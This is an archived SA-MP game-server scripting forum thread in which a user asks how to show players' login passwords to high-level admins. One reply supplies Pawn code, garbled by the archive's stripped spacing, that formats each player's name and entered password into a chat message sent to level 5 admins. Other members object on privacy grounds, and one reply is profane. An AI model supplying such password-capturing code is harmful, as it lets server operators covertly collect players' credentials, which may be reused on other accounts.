SA-MP Forums Archive
Help me get password - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: Help me get password (/showthread.php?tid=621524)



Help me get password - gogo45 - 12.11.2016

how do I make a player to log into the games can present her password, which can be a special level 5 server owner
Sample
Test(0) has logged in the server (password. how do I make it


Re: Help me get password - IceBilizard - 12.11.2016

You mean like if any one login into server so their password will show to server owner?


Re: Help me get password - gogo45 - 12.11.2016

Quote:
Originally Posted by IceBilizard
Посмотреть сообщение
You mean like if any one login into server so their password will show to server owner?
yes that's what I mean, what can you do right for me


Re: Help me get password - IceBilizard - 12.11.2016

Yes its simple

Add this somewhere in your script

PHP код:
SendMessageToAdmins(colormessage[])
{
    for (new 
0MAX_PLAYERSi++)
    {
        if(
IsPlayerConnected(i))
        {
            if (
PlayerInfo[i][AdminLevel] >= 5SendClientMessage(icolormessage);//You can change admin system or variable with your admin system
        
}
    }

then use this code at your dialog login if player logged in successfully

PHP код:
new playername[64];
GetPlayerName(playeridplayernameMAX_PLAYER_NAME);
format(stringsizeof(string), "Player %s(%ID), has logged in the server with password: %s"playernameinputtext);
SendMessageToAdmins(COLOR_WHITEstring); 



Re: Help me get password - X337 - 12.11.2016

What is the purpose you want to know your player's password?
That is your player's privacy, you should not doing that.


Re: Help me get password - SyS - 12.11.2016

can you tell me your server name so that i wont accidentally get in there?


Re: Help me get password - Threshold - 12.11.2016

https://www.sa-mp.com/service_agreement.txt

Now go fuck yourself.


Re: Help me get password - gogo45 - 12.11.2016

Quote:
Originally Posted by IceBilizard
Посмотреть сообщение
Yes its simple

Add this somewhere in your script

PHP код:
SendMessageToAdmins(colormessage[])
{
    for (new 
0MAX_PLAYERSi++)
    {
        if(
IsPlayerConnected(i))
        {
            if (
PlayerInfo[i][AdminLevel] >= 5SendClientMessage(icolormessage);//You can change admin system or variable with your admin system
        
}
    }

then use this code at your dialog login if player logged in successfully

PHP код:
new playername[64];
GetPlayerName(playeridplayernameMAX_PLAYER_NAME);
format(stringsizeof(string), "Player %s(%ID), has logged in the server with password: %s"playernameinputtext);
SendMessageToAdmins(COLOR_WHITEstring); 
the password is not active when I test his password to log into the games not lit.


Re: Help me get password - Micko123 - 12.11.2016

Don't beg here for help when your server loose some players mate..


Re: Help me get password - gogo45 - 12.11.2016

Help me please